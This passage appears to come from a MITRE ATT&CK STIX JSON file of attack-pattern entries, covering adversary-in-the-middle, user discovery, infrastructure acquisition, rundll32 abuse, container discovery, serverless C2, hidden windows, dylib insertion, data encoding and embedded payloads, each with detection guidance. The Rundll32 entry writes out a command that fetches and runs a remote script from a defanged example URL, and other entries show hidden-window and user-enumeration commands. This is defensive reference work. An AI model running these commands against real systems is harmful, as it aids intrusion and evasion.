            "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Mayuresh Dani, Qualys",
                "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project",
                "NEC"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Network Devices"
            ],
            "x_mitre_version": "2.5",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Windows Registry: Windows Registry Key Modification",
                "Network Traffic: Network Traffic Flow",
                "Service: Service Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "created": "2017-05-31T21:30:35.733Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1033",
                    "external_id": "T1033"
                },
                {
                    "source_name": "show_ssh_users_cmd_cisco",
                    "description": "Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:02.301Z",
            "name": "System Owner/User Discovery",
            "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Access",
                "Process: OS API Execution",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Content",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "Windows Registry: Windows Registry Key Access",
                "File: File Access",
                "Process: Process Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2",
            "created": "2020-09-30T16:37:40.271Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583",
                    "external_id": "T1583"
                },
                {
                    "source_name": "amnesty_nso_pegasus",
                    "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.",
                    "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
                },
                {
                    "source_name": "Mandiant APT29 Microsoft 365 2022",
                    "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
                },
                {
                    "source_name": "FBI Proxies Credential Stuffing",
                    "description": "FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.",
                    "url": "https://www.ic3.gov/Media/News/2022/220818.pdf"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "TrendmicroHideoutsLease",
                    "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:44:09.753Z",
            "name": "Acquire Infrastructure",
            "description": "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Shailesh Tiwary (Indian Army)",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Internet Scan: Response Metadata",
                "Internet Scan: Response Content",
                "Domain Name: Active DNS",
                "Domain Name: Passive DNS",
                "Domain Name: Domain Registration"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "created": "2020-01-23T18:03:46.248Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/011",
                    "external_id": "T1218.011"
                },
                {
                    "source_name": "rundll32.exe defense evasion",
                    "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.",
                    "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"
                },
                {
                    "source_name": "Attackify Rundll32.exe Obscurity",
                    "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.",
                    "url": "https://www.attackify.com/blog/rundll32_execution_order/"
                },
                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://www.stormshield.com/news/poweliks-command-line-confusion/"
                },
                {
                    "source_name": "Github NoRunDll",
                    "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.",
                    "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:02.470Z",
            "name": "Rundll32",
            "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Gareth Phillips, Seek Ltd.",
                "Casey Smith",
                "Ricardo Dias",
                "James_inthe_box, Me"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.4",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Metadata",
                "Module: Module Load"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336",
            "created": "2021-03-31T14:26:00.848Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1613",
                    "external_id": "T1613"
                },
                {
                    "source_name": "Docker API",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/"
                },
                {
                    "source_name": "Kubernetes API",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:10:13.179Z",
            "name": "Container and Resource Discovery",
            "description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vishwas Manral, McAfee",
                "Center for Threat-Informed Defense (CTID)",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Pod: Pod Enumeration",
                "Container: Container Enumeration"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d",
            "created": "2022-07-08T12:39:29.684Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/007",
                    "external_id": "T1583.007"
                },
                {
                    "source_name": "AWS Lambda Redirector",
                    "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.",
                    "url": "https://blog.xpnsec.com/aws-lambda-redirector/"
                },
                {
                    "source_name": "Detecting Command & Control in the Cloud",
                    "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
                },
                {
                    "source_name": "BlackWater Malware Cloudflare Workers",
                    "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.",
                    "url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"
                },
                {
                    "source_name": "GWS Apps Script Abuse 2021",
                    "description": "Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:06:30.913Z",
            "name": "Serverless",
            "description": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\n\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)",
            "kill_chain_phases": [
                {
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            "x_mitre_contributors": [
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            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
            "created": "2017-12-14T16:46:06.044Z",
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                    "url": "https://attack.mitre.org/techniques/T1143",
                    "external_id": "T1143"
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                    "source_name": "PowerShell About 2019",
                    "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"
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                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
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            "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.  (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be\u00a0<code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n",
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                    "phase_name": "defense-evasion"
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            "x_mitre_platforms": [
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                    "url": "https://attack.mitre.org/techniques/T1161",
                    "external_id": "T1161"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "name": "LC_LOAD_DYLIB Addition",
            "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).",
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                    "url": "https://attack.mitre.org/techniques/T1132/001",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Wikipedia Binary-to-text Encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
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                    "source_name": "Wikipedia Character Encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
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            "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
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            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
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            "x_mitre_data_sources": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/009",
                    "external_id": "T1027.009"
                },
                {
                    "source_name": "GitHub PSImage",
                    "description": "Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022.",
                    "url": "https://github.com/peewpw/Invoke-PSImage"
                },
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                    "source_name": "Malware Analysis Report ComRAT",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 \u2013 PowerShell Script: ComRAT. Retrieved September 30, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a"
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                    "source_name": "Trend Micro",
                    "description": "Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022.",
                    "url": "https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html"
                },
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                    "source_name": "Securelist Dtrack2",
                    "description": "KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022.",
                    "url": "https://securelist.com/my-name-is-dtrack/93338/"
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                {
                    "source_name": "Microsoft Learn",
                    "description": "Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022.",
                    "url": "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1"
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                {
                    "source_name": "SentinelLabs reversing run-only applescripts 2021",
                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
                    "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
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                {
                    "source_name": "Sentinel Labs",
                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022.",
                    "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
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            "name": "Embedded Payloads",
            "description": "Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Metadata"
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        },
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            "type": "attack-pattern",
            "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1150",
                    "external_id": "T1150"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
